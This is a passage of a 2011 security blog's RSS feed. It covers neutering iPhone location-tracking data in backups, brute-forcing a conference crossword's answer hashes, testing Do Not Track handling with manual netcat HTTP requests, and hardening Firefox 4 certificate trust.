&lt;/p&gt; 
&lt;p&gt;Here&#039;s the step by step guide:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;Plug in your iPhone and let iTunes make a backup. Make sure the backup isn&#039;t encrypted, we&#039;ll do that later.&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;Go to your backups directory. On OSX it will be in &lt;font face=&quot;courier new,courier,monospace&quot;&gt;/Users/&amp;lt;username&amp;gt;/Library/Application Support/MobileSync/Backup/&lt;/font&gt;
 (note, there&#039;s no &amp;quot;s&amp;quot; on the end of Backup like the iPhoneTracker FAQ 
suggests). In Win7 it will be in&amp;#160;&lt;tt&gt;&lt;font face=&quot;&#039;courier new&#039;, courier, monospace&quot;&gt;\Users\&amp;lt;username&amp;gt;\AppData\Roaming\Apple Computer\MobileSync\Backup\&lt;/font&gt;&amp;#160;o&lt;/tt&gt;ther windows locations are listed &lt;a href=&quot;http://support.apple.com/kb/ht1766&quot;&gt;here&lt;/a&gt;.&amp;#160;It will contain several randomly named directories, change 
into the one with the latest timestamp to work on your last backup.&lt;/li&gt; 
&lt;li&gt;Get hold of the iphonels.py file. Either by copy pasting from the original &lt;a href=&quot;http://stackoverflow.com/questions/3085153/how-to-parse-the-manifest-mbdb-file-in-an-ios-4-0-itunes-backup&quot;&gt;here&lt;/a&gt;, or just downloading &lt;a href=&quot;/utils/iphone-tracker/iphone-ls.py&quot; title=&quot;iPhone backup list&quot;&gt;this one&lt;/a&gt;.&lt;/li&gt; 
&lt;li&gt;Look for the randomly named file that maps to consolidated.ls by running the iphone-ls.py and grepping for &amp;quot;consolidated&amp;quot; e.g.:&lt;font face=&quot;courier new,courier,monospace&quot;&gt; ./iphone-ls.py | grep consolidated&lt;/font&gt;&lt;/li&gt; 
&lt;li&gt;The value in brackets is the name of the file as it is stored in the backup folder. This name will be consistent across all your backups.&lt;/li&gt; 
&lt;li&gt;If you like, open the file up in your favourite SQLite editor and mess up the tracking values. Or to save time, you can use &lt;a href=&quot;/utils/iphone-tracker/consolidated-messedup.db&quot;&gt;this one&lt;/a&gt;. In my file, I truncated as many tables as made sense (e.g. I didn&#039;t truncate the &amp;quot;versions&amp;quot; table), and for those which couldn&#039;t be truncated, overwrite the private data with 1&#039;s.&lt;/li&gt; 
&lt;li&gt;I then overwrite all copies of consolidated.db with the new neutered version. This is easy to do as the random file name is consistent across backups.&lt;/li&gt; 
&lt;li&gt;Next, plug in your phone, and restore your backup. Remember to re-encrypt your backups.&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;The problem with this approach, is that it will need to be done regularly to keep clearing out the new location data that gets written. If you have jailbroken your phone, you can take the additional step of overwriting the file on the device (it&#039;s in &lt;font face=&quot;courier new,courier,monospace&quot;&gt;~/Library/Caches/locationd/consolidated.db&lt;/font&gt;) then chmod&#039;ing it to 440 to make it read-only (this doesn&#039;t work, the perms are ignored, you&#039;d need to SetFile). I did this then tried several things such as switching the GPS on and off, reconnecting to the cell network, turning wifi on/off, turning on my GPS app, airplane mode on/off etc. and nothing updated the file (because I was spoofing my location, whoops). Although, a -journal file does get created for brief short periods, that quickly disappears (too fast for me to grab a sample, and too inconsistently for me to repeatedly force it&#039;s generation).&lt;/p&gt; 
&lt;p&gt;&lt;em&gt;Todo (or if you feel like contributing): Modify the iphone-ls.py file to allow changing values, most notably the permissions (2 byte integer) to allow the backup to mark the file as read-only.&lt;/em&gt;&lt;br /&gt; &lt;/p&gt; 
    </content:encoded>

    <pubDate>Thu, 21 Apr 2011 07:45:27 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1029-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Cracking the ITWeb Security Summit Puzzle</title>
    <link>http://www.singe.za.net/blog/archives/1028-Cracking-the-ITWeb-Security-Summit-Puzzle.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1028-Cracking-the-ITWeb-Security-Summit-Puzzle.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1028</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1028</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    This is a pretty pointless entry talking about the &lt;a href=&quot;http://www.itweb.co.za/index.php?option=com_content&amp;amp;view=article&amp;amp;id=42677&amp;amp;Itemid=2330&quot;&gt;simple crossword challenge&lt;/a&gt; provided by the &lt;a href=&quot;http://www.itweb.co.za/index.php?option=com_content&amp;amp;view=article&amp;amp;id=38100&amp;amp;Itemid=2330&quot;&gt;ITWeb Security Summit&lt;/a&gt;. &lt;p&gt;The crossword is trivial, I was able to guess each word on first attempt, except the last long word. Instead of thinking about it, and realising that several others had already done it, I thought I&#039;d have a look at the code.&lt;/p&gt; 
&lt;p&gt;It turns out that the code is somewhat smart and doesn&#039;t reveal the words, rather it uses a custom hashing algorithm and stores the hashes. The two pieces of JavaScript controlling the crossword are&lt;a href=&quot;http://www.itweb.co.za/_1/q1_1.js&quot;&gt; the configuration (questions &amp;amp; answers)&lt;/a&gt; and &lt;a href=&quot;http://www.itweb.co.za/_1/q1_2.js&quot;&gt;the functionality&lt;/a&gt;. There are two interesting pieces of information in these, the first is the hashes of the answers stored in the configuration:&lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;AnswerHash = new Array(10664, 37493, 27958, 81424, 27548, 67695, 31280);&lt;/font&gt;&lt;/p&gt; 
&lt;p&gt;And the second, in the functionality, is the hashing algorithm:&lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;function HashWord(Word)&lt;br /&gt;{&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; var x = (Word.charCodeAt(0) * 719) % 1138;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; var Hash = 837;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; var i;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; for (i = 1; i &amp;lt;= Word.length; i++)&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Hash = (Hash * i + 5 + (Word.charCodeAt(i - 1) - 64) * x) % 98503;&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; return Hash;&lt;br /&gt;}&lt;/font&gt;&lt;/p&gt; 
&lt;p&gt;A quick look at the hashing algorithm shows that it probably isn&#039;t reversible (or at least not trivially), primarily due to the modulus operators which aren&#039;t reversible. However, all is not lost, the algorithm is very simple, which means two things. The first is that it will have a ton of collisions (i.e. many words will result in the same hash) and the second is that your processor won&#039;t do much work in running it. Thus, I figured it may be fun to run it across a dictionary and see what collisions pop-up.&lt;/p&gt; 
&lt;p&gt;Since I was playing, I decided to check out whether there were any CLI JavaScript shells that I could use, and the speed at which they run. &lt;a href=&quot;http://stackoverflow.com/questions/1802478/running-v8-javascript-engine-standalone&quot;&gt;A quick google showed me&lt;/a&gt; that &lt;a href=&quot;http://code.google.com/apis/v8/build.html&quot;&gt;Chrome&#039;s V8 JavaScript engine&lt;/a&gt; has a &amp;quot;toy&amp;quot; shell that could be used. I pulled down the trunk, and with the &lt;font face=&quot;courier new,courier,monospace&quot;&gt;sample=shell&lt;/font&gt; option passed to &lt;font face=&quot;courier new,courier,monospace&quot;&gt;scons&lt;/font&gt; had the &lt;font face=&quot;courier new,courier,monospace&quot;&gt;shell&lt;/font&gt; binary built.&lt;/p&gt; 
&lt;p&gt;The V8 shell is pretty cool, and can either be run interactively, used to evaluate JS passed as an argument with the -e switch, or run multiple files. However, input via CLI can&#039;t be passed as an ARGV, and either needs to be in one of the files, or in a -e statement. So I created three files:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;hash.js - Which contained the HashWord function above verbatim, but with a toUpperCase() added to the word passed&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;dict.js - Which contained /usr/share/dict converted into a JS Array object&lt;/li&gt; 
&lt;li&gt;loop.js - Which contained the answer hashes array, and looped through the dict comparing resulting hashes to the answers&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;If you&#039;re interested, the three files can be downloaded from &lt;a href=&quot;/utils/itweb-crossword-brute.zip&quot;&gt;here&lt;/a&gt;. They can be run by passing all three as arguments to shell e.g. ./shell dict.js shell.js loop.js&lt;/p&gt; 
&lt;p&gt;The results were as follows:&lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;Found! Word: anonymous&amp;#160; Hash: 27958&lt;br /&gt;Found! Word: coseismic&amp;#160; Hash: 10664&lt;br /&gt;Found! Word: cryptanalysis&amp;#160; Hash: 31280&lt;br /&gt;Found! Word: Cupressaceae&amp;#160; Hash: 27548&lt;br /&gt;Found! Word: cystolithic&amp;#160; Hash: 31280&lt;br /&gt;Found! Word: honeypot&amp;#160; Hash: 37493&lt;br /&gt;Found! Word: irrationability&amp;#160; Hash: 10664&lt;br /&gt;Found! Word: miscommit&amp;#160; Hash: 37493&lt;br /&gt;Found! Word: phloroglucic&amp;#160; Hash: 10664&lt;br /&gt;Found! Word: pneumotoxin&amp;#160; Hash: 67695&lt;br /&gt;Found! Word: psychics&amp;#160; Hash: 10664&lt;br /&gt;Found! Word: reeky&amp;#160; Hash: 67695&lt;br /&gt;Found! Word: rhamphoid&amp;#160; Hash: 37493&lt;br /&gt;Found! Word: shuckpen&amp;#160; Hash: 81424&lt;br /&gt;Found! Word: stowbordman&amp;#160; Hash: 81424&lt;br /&gt;Found! Word: unthoughtedly&amp;#160; Hash: 27958&lt;/font&gt;&lt;/p&gt; 
&lt;p&gt;Out of interest the result of time() were: &lt;font face=&quot;courier new,courier,monospace&quot;&gt;0.39s user 0.06s system 97% cpu 0.460 total&lt;/font&gt;&lt;/p&gt; 
&lt;p&gt;If you&#039;ve checked the crossword, you&#039;ll see some of the answers are listed, you&#039;ll also see that there are several collisions, for example &#039;cryptanalysis&#039; and &#039;cystolithic&#039; both result in 31280, the hash of the final &#039;secret&#039; word. It was fairly obvious that &#039;cryptanalysis&#039; was the final word (apart from being the right length, it&#039;s the only security related term) however, I then tried to see if one of the &#039;incorrect&#039; collisions would work. Unfortunately, there is a length check and so a straight substitution doesn&#039;t work, but &#039;coseismic&#039; in the place of &#039;conficker&#039; is accepted by the crossword as this image shows:&lt;/p&gt;
&lt;p&gt;&lt;!-- s9ymdb:121 --&gt;&lt;img width=&quot;607&quot; height=&quot;256&quot; src=&quot;http://www.singe.za.net/blog/uploads/Screenshot2011-04-08at5.55.44PM.png&quot; class=&quot;serendipity_image_center&quot; alt=&quot;&quot;  /&gt; &lt;/p&gt;
&lt;p&gt;&amp;#160;However, when you try and complete the crossword with the incorrect word, the &#039;s&#039; in &#039;coseismic&#039; conflicts with the &#039;c&#039; in &#039;cryptanalysis&#039; and so you can&#039;t complete the crossword with this combination of words. However, if you don&#039;t limit yourself to english, and rather use random characters, you could eventually find gobbldegook that would complete the crossword. A challenge for someone else perhaps?&lt;/p&gt;
&lt;p&gt;So that&#039;s my hackers attempt at &#039;cracking the code&#039;. Hope to see you at the summit.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Fri, 08 Apr 2011 17:18:26 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1028-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Do Not Track &amp; AP News Registry</title>
    <link>http://www.singe.za.net/blog/archives/1027-Do-Not-Track-AP-News-Registry.html</link>
            <category>Privacy</category>
    
    <comments>http://www.singe.za.net/blog/archives/1027-Do-Not-Track-AP-News-Registry.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1027</wfw:comment>

    <slash:comments>4</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1027</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    Firefox 4 implemented the &lt;a href=&quot;http://donottrack.us/&quot;&gt;Do Not Track header&lt;/a&gt;. This is an option, sent via an HTTP header, to specify to a webserver that the user would like to opt-out of advertising/behavioural tracking. The news came in soon after that the &lt;a href=&quot;https://blog.mozilla.com/blog/2011/03/30/advertisers-and-publishers-adopt-and-implement-do-not-track/&quot;&gt;AP News Registry service had implemented support for DNT&lt;/a&gt;. So I decided to have a quick look at what this meant. It ended up highlighting why I think DNT will never be a solution by itself, and why it&#039;s intended use may even be tenuous.&lt;br /&gt; &lt;p&gt;First off, I needed to know what domain and from what sites the AP cookies are set. It turns out that the service relies on the hNews microformat, and a quick google brought me to &lt;a href=&quot;http://www.aspentimes.com/&quot;&gt;The Aspen Times&lt;/a&gt;. If you have a look at the source for Aspen News, you&#039;ll see some content loaded from analytics.apnewsregistry.com and apnewsregistry.com. Since &amp;quot;analytics&amp;quot; seemed to be the most likely tracking source, I made two simple HTTP requests to the URL referenced in a news story, one with the DNT header, and one without.&lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ nc analytics.apnewsregistry.com 80&lt;br /&gt;GET http://analytics.apnewsregistry.com/[snip] HTTP/1.1&lt;br /&gt;Host: analytics.apnewsregistry.com&lt;br /&gt;&lt;br /&gt;HTTP/1.0 303 See Other&lt;br /&gt;&lt;strong&gt;Set-Cookie: ASP.NET_SessionId=lwymgdbt4u5go3e55al1uxwc; path=/; HttpOnly&lt;/strong&gt;&lt;br /&gt;[snip]&lt;/font&gt;&lt;/p&gt; 
&lt;p&gt;With DNT:&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ nc analytics.apnewsregistry.com 80&lt;br /&gt;GET http://analytics.apnewsregistry.com/[snip] HTTP/1.1&lt;br /&gt;Host: analytics.apnewsregistry.com&lt;br /&gt;&lt;strong&gt;DNT: 1&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;HTTP/1.0 303 See Other&lt;br /&gt;&lt;strong&gt;Set-Cookie: ASP.NET_SessionId=vy1r33ambeja03fev4e1ognw; path=/; HttpOnly&lt;/strong&gt;&lt;br /&gt;[snip]&lt;/font&gt;&lt;/p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt; &lt;/font&gt; 
&lt;p&gt;In both cases, you can see a unique session cookie is being set. That didn&#039;t seem right. So I set up a brand new Firefox 4 profile, hit aspen news, then checked the cookies. Without DNT I saw the following cookies related to apnewsregistry:&lt;/p&gt; 
&lt;p&gt;&lt;!-- s9ymdb:119 --&gt;&lt;a class=&quot;serendipity_image_link&quot; href=&quot;http://www.singe.za.net/blog/uploads/Screenshot2011-04-06at12.00.37AM.png&quot;&gt;&lt;!-- s9ymdb:119 --&gt;&lt;img width=&quot;110&quot; height=&quot;94&quot; class=&quot;serendipity_image_center&quot; src=&quot;http://www.singe.za.net/blog/uploads/Screenshot2011-04-06at12.00.37AM.serendipityThumb.png&quot; alt=&quot;&quot;  /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;I then set the DNT option under Preferences -&amp;gt; Advanced -&amp;gt; General -&amp;gt; &amp;quot;Tell websites I do not want to be tracked&amp;quot;, and saw the following cookies get set:&lt;/p&gt; 
&lt;p&gt;&lt;!-- s9ymdb:120 --&gt;&lt;a class=&quot;serendipity_image_link&quot; href=&quot;http://www.singe.za.net/blog/uploads/Screenshot2011-04-06at12.02.29AM.png&quot;&gt;&lt;!-- s9ymdb:120 --&gt;&lt;img width=&quot;110&quot; height=&quot;94&quot; class=&quot;serendipity_image_center&quot; src=&quot;http://www.singe.za.net/blog/uploads/Screenshot2011-04-06at12.02.29AM.serendipityThumb.png&quot; alt=&quot;&quot;  /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;This tells me that it&#039;s not the analytics site, but the other which is affected by the DNT header. &lt;br /&gt;&lt;/p&gt; 
&lt;p&gt; Does this mean the AP News Registry conforms to the intention of Do Not Track? The answer is that we have no idea. They&#039;re still dropping a unique identifier, even with DNT set. Even if they weren&#039;t dropping any, the combination of &lt;a href=&quot;http://panopticlick.eff.org/&quot;&gt;other browser attributes could prove unique enough&lt;/a&gt;. In the end, someone would need to perform a code review of their server-side code to make sure the unique identifiers aren&#039;t being used for tracking.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;This is important, because that&#039;s the primary intention of DNT. To quote &lt;a href=&quot;http://www.freedom-to-tinker.com/blog/harlanyu/some-technical-clarifications-about-do-not-track#comment-111131&quot;&gt;Harlan Yu when asked about this issue&lt;/a&gt;:&lt;/p&gt; 
&lt;blockquote&gt; 
&lt;p&gt;Of course, Do Not Track needs a regulatory framework with effective 
enforcement mechanisms. This is the ongoing policy debate in Washington,
 whether Congress should give the FTC authority to define and enforce 
DNT regulations and what these regulation look like.&lt;/p&gt; 
&lt;/blockquote&gt; 
&lt;p&gt;But enforcement is going to be very hard if situations like the above are allowed to persist.&lt;strong&gt; Do Not Track needs to result in no cookies or other unique identifiers being set on the client side and an independent audit of the tracker&#039;s server side code for it to be a meaningful label that can be meaningfully &amp;quot;breached&amp;quot;&lt;/strong&gt;.&lt;/p&gt; 
&lt;p&gt;In short, I&#039;m not saying DNT is useless, just that implemented as AP News has done it, is equivalent to an unverifiable promise. In the end, it is my belief that we need to rely on technical means *first* for provable privacy, and let ideas like DNT provide a *secondary* legislative mechanism.&lt;/p&gt;
&lt;p&gt;In the meantime, DomCorp will be offering free &amp;quot;DNT audits&amp;quot;, just send me all your codez and passwords :)&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Wed, 06 Apr 2011 00:11:27 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1027-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Improving Certificate Security in Firefox4</title>
    <link>http://www.singe.za.net/blog/archives/1026-Improving-Certificate-Security-in-Firefox4.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1026-Improving-Certificate-Security-in-Firefox4.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1026</wfw:comment>

    <slash:comments>9</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1026</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;After &lt;a href=&quot;https://blog.torproject.org/blog/detecting-certificate-authority-compromises-and-web-browser-collusion&quot;&gt;Jacob outed the compromise at one of Comodo&#039;s resellers&lt;/a&gt;, I decided to see how I could best secure my browser when it comes to TLS. This is important given how fundamental TLS is to our daily online activities. The advice I currently recommend and have implemented myself in Firefox 4 consists of:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;Install HTTPS-Everywhere&lt;/li&gt; 
&lt;li&gt;Reducing the number of trusted root CA certificates to the most frequently used&lt;/li&gt; 
&lt;li&gt;Forcing OCSP revocation checks&lt;/li&gt; 
&lt;li&gt;Monitoring for certificate changes&lt;/li&gt; 
&lt;/ul&gt;This is a brief how-to enable the same in your browser. &lt;br /&gt; &lt;h2&gt;Install HTTPS Everywhere&lt;/h2&gt; 
&lt;p&gt; You need a reason to engage in all this hard work. Install the EFF&#039;s&lt;a href=&quot;https://www.eff.org/https-everywhere&quot;&gt; HTTPS-Everywhere&lt;/a&gt; add-on which will automatically redirect you to encrypted version of many popular websites. Blanket rules for doing this tend to break things, and the EFF has put some good work into making this usable. Everyone should have it installed.&lt;br /&gt;&lt;/p&gt; 
&lt;h2&gt;Reducing the Trusted Roots&lt;/h2&gt; 
&lt;p&gt;&lt;a title=&quot;Qualys SSL Labs&quot; href=&quot;https://www.ssllabs.com/&quot;&gt;Qualys SSL labs&lt;/a&gt;, and the &lt;a title=&quot;EFF SSL Observatory&quot; href=&quot;https://www.eff.org/observatory&quot;&gt;EFF SSL Observatory&lt;/a&gt; both have data sets which identify the top root certificates in use across the internet. The interesting finding their research highlights is that the top 10 root certificates (note, some CAs have multiple root certificates) account for over 90% of the Internet. This means we can safely cut his number down from the nearly 200 currently in Firefox to 24. I&#039;ll be publishing a more detailed analysis on &lt;a title=&quot;SensePost Information Security&quot; href=&quot;https://www.sensepost.com/blog/&quot;&gt;SensePost&#039;s blog&lt;/a&gt;, but in the meantime, the 24 most commonly used I went for (which accounts for approximately 98% of all certificates is use) are:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;AddTrust External CA Root&lt;/li&gt; 
&lt;li&gt;COMODO Certificate Authority&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;AAA Certifice Services&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;DigiCert High Assurance EV Root CA&lt;/li&gt; 
&lt;li&gt;Entrust.net Secure Server Certification Authority&lt;/li&gt; 
&lt;li&gt;Entrust.net Certification Authority (2048)&lt;/li&gt; 
&lt;li&gt;Equifax Secure CA&lt;/li&gt; 
&lt;li&gt;Equifax Secure Global eBusiness CA-1&lt;/li&gt; 
&lt;li&gt;GeoTrust Global CA&lt;/li&gt; 
&lt;li&gt;GlobalSign Root CA&lt;/li&gt; 
&lt;li&gt;GTE CyberTrust Global Root&lt;/li&gt; 
&lt;li&gt;Network Solutions Certificate Authority&lt;/li&gt; 
&lt;li&gt;SecureTrust CA&lt;/li&gt; 
&lt;li&gt;StarField Class 2 CA&lt;/li&gt; 
&lt;li&gt;StartCom Certification Authority&lt;/li&gt; 
&lt;li&gt;Thawte Server CA&lt;/li&gt; 
&lt;li&gt;Thawte Premium Server CA&lt;/li&gt; 
&lt;li&gt;thawte Primary Root CA&lt;/li&gt; 
&lt;li&gt;Go Daddy Class 2 CA&lt;/li&gt; 
&lt;li&gt;UTN-UserFirst-Hardware&lt;/li&gt; 
&lt;li&gt;http://www.valicert.com/ (Class 2 Policy Validation)&lt;/li&gt; 
&lt;li&gt;Verisign Class 3 Public Primary Certification Authority - G5&lt;/li&gt; 
&lt;li&gt;Verisign Class 3 Public Primary Certification Authority&lt;/li&gt; 
&lt;li&gt;Verisign Class 3 Public Primary Certification Authority - G2&lt;br /&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;Note that these are specific certs, not CAs. You can manually configure these in Firefox by going to Preferences-&amp;gt;Advanced-&amp;gt;Encryption-&amp;gt;View Certificates and manually editing the trust for every certificate. This is a pretty tedious process, and so you can rather &lt;a href=&quot;/utils/cert8.db&quot; title=&quot;Reduced Root CAs for Firefox 4&quot;&gt;download the preconfigured certificate database from me here&lt;/a&gt; &lt;font size=&quot;1&quot;&gt;&lt;em&gt;(SHA 512: e184e5750ccab4b9ea6ef4d67e813fcdbe8515ac9aafc9ded1fa27eb59c8bfe111cba5d424d33721f830b2d2b5ff3a388a4885502a93f6d805041ecbcaf31c05)&lt;/em&gt;&lt;/font&gt;. This will overwrite any existing certificates you may have trusted or imported, so I&#039;d recommend you do it on a new clean profile. Just copy it into your Firefox profile directory. A profile directory is usually several random alphanumeric characters followed by the profile name e.g. xxxxxxxx.default. On different operating systems the file should be placed in:&lt;br /&gt;&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;OSX ~/Library/Application Support/Firefox/Profiles/xxxxxxxx.default/cert8.db&lt;/li&gt; 
&lt;li&gt;Windows  &lt;span class=&quot;filepath&quot;&gt;%APPDATA%\Mozilla\Firefox\Profiles\&lt;/span&gt;xxxxxxxx.default&lt;span class=&quot;filepath&quot;&gt;\cert8.db&lt;/span&gt;&lt;/li&gt; 
&lt;li&gt;Linux ~/.mozilla/firefox/xxxxxxxx.default/cert8.db&lt;/li&gt; 
&lt;/ul&gt;I&#039;ve been surfing with this configuration for a day or two now with no problems. Your browser will validate the entire chain, so if a certificate is signed by an intermediary you don&#039;t trust, but which is eventually signed by a root you do trust, then your browser won&#039;t give you a certificate error. This means the impact of this change is limited and basically prevents some of the stranger CAs like Booz Allen Hamilton or The Chinese Gov from issuing certs you will trust, but wouldn&#039;t prevent a compromised intermediary (as in Comodogate) attack. If you&#039;ve decided not to trust Comodo post Comodogate, you can untrust the Comodo and AAA certificates, although will receive many untrusted cert errors.&lt;br /&gt; 
&lt;h2&gt;&lt;strong&gt;Forcing OCSP verification Checks&lt;/strong&gt;&lt;/h2&gt; 
&lt;p&gt;There are two ways for your browser to check whether a certificate, validly signed by a certificate authority, has been revoked. The first is to check the CRLs embedded in a certificate, and the second is to do a dynamic lookup over the Online Certificate Status Check Protocol (OCSP) (one can also subscribe to CRL lists, but this is currently an onerous and complete process). By default this is not forced each time, and must be enabled &lt;del&gt;by manually toggling the option in about:config&lt;/del&gt; through a config option. The trade off is that the OCSP provider can see what sites you are visiting. If you&#039;re being surveilled you may not want to do this, but for your average user it may be worth it given the current compromises.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;To do this:&lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt;&lt;del&gt;Type &amp;quot;about:config&amp;quot; in your URL bar&lt;/del&gt;&lt;/li&gt; 
&lt;li&gt;&lt;del&gt;Click &amp;quot;I&#039;ll be careful I promise&amp;quot; when you see the warning&lt;/del&gt;&lt;/li&gt; 
&lt;li&gt;&lt;del&gt;Add a new Boolean key named &lt;em&gt;&lt;strong&gt;security.OCSP.require&lt;/strong&gt;&lt;/em&gt;&lt;/del&gt;&lt;/li&gt; 
&lt;li&gt;&lt;del&gt;Ensure the value is set to &amp;quot;&lt;em&gt;&lt;strong&gt;true&lt;/strong&gt;&lt;/em&gt;&amp;quot;&lt;/del&gt;&lt;/li&gt; 
&lt;/ol&gt; 
&lt;ol&gt; 
&lt;li&gt;Navigate to Preferences-&amp;gt;Advanced-&amp;gt;Encryption-&amp;gt;Validation&lt;/li&gt; 
&lt;li&gt;Select both checkboxes referring to using an OCSP server, and marking failed validations as invalid&lt;/li&gt; 
&lt;li&gt;Choose the first radio button about using OCSP if a cert specifies it (hopefully a trusted entity will run a decent OCSP server we can validate all certs against soon)&lt;br /&gt;&lt;/li&gt; 
&lt;/ol&gt; 
&lt;ol&gt; &lt;/ol&gt; 
&lt;h2&gt;Monitoring for Certificate Changes&lt;/h2&gt; 
&lt;p&gt;Your browser now provides a little more certainty that you can trust the random certificate it has been presented, however, it is still useful to know when a certificate has changed. This will give an indication that either a validly signed certificate is being used in a man in the middle attack, as is the case with some lawful intercept products, or as in the case of Comodogate. For example, &lt;a title=&quot;HTTPS, SSL, TLS etc. on singe.za.net&quot; href=&quot;http://www.singe.za.net/blog/archives/932-HTTPS,-SSL,-TLS-etc.-on-singe.za.net.html&quot;&gt;my use of certificates on this website&lt;/a&gt; has nothing to do with valid signatures and relies on the fact that the exact same certificate that I trust is in use. For this monitoring I used to use &lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/petname-tool/&quot;&gt;Petnames&lt;/a&gt;, however, this has not been updated for Firefox 4, and so I found &lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/certificate-patrol/?src=collection&amp;amp;collection_id=26aa4d81-029d-8a7f-56d9-8b85087d4e18&quot;&gt;Certificate Patrol&lt;/a&gt; (thanks Ivan). This too is not compatible with the final release of Firefox 4, however, it is with a beta, and so &lt;del&gt;disabling Firefox add-on compatibility checking&lt;/del&gt; using the &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/add-on-compatibility-reporter/&quot;&gt;add-on compatibility reporter&lt;/a&gt; will allow it to be installed.&lt;/p&gt; 
&lt;p&gt;What Certificate Patrol does when you first visit a site and are presented with a certificate, is to display a pop-up showing the certificates details. This forces you to actually evaluate the certificate for common-sense indicators e.g. is it assigned to the company it should be or &amp;quot;Iranian Secret Police&amp;quot;. The really useful feature however, is when you next visit the site, it will check that the certificate is the same as seen before, and if there is a mismatch (i.e. the certificate has changed) it will warn you. Thus, for example, if you are in a wireless hot-spot and find you get a &amp;quot;certificate changed&amp;quot; warning on every SSL site you visit, that&#039;s a clear indication that someone is intercepting your traffic. If you get it on your banking website with no warning, it should make you look for an announcement from the bank about it, and if not, ask them for one.&lt;/p&gt; 
&lt;p&gt;To disable add-on compatibility checking and install Certificate Patrol, do the following:&lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt;&lt;del&gt;Got to about:config as described in the previous section&lt;/del&gt;&lt;/li&gt; 
&lt;li&gt;&lt;del&gt;Find the key named &lt;em&gt;&lt;strong&gt;extensions.checkCompatibility.4.0&lt;/strong&gt;&lt;/em&gt;&lt;/del&gt;&lt;/li&gt; 
&lt;li&gt;&lt;del&gt;Toggle the value to &lt;em&gt;&lt;strong&gt;false&lt;/strong&gt;&lt;/em&gt;&lt;/del&gt;&lt;/li&gt; 
&lt;/ol&gt; 
&lt;ol&gt; 
&lt;li&gt;Install the &amp;quot;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/add-on-compatibility-reporter/&quot;&gt;Add-on compatibility reporter&lt;/a&gt;&amp;quot; to allow you to install &amp;amp; report on plugins not yet marked as compatible with FF4&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;Navigate to the &lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/certificate-patrol/?src=collection&amp;amp;collection_id=26aa4d81-029d-8a7f-56d9-8b85087d4e18&quot; title=&quot;Certificate Patrol at Addons.Mozilla&quot;&gt;Certificate Patrol page&lt;/a&gt;, and click &amp;quot;Download Now&amp;quot;&lt;/li&gt; 
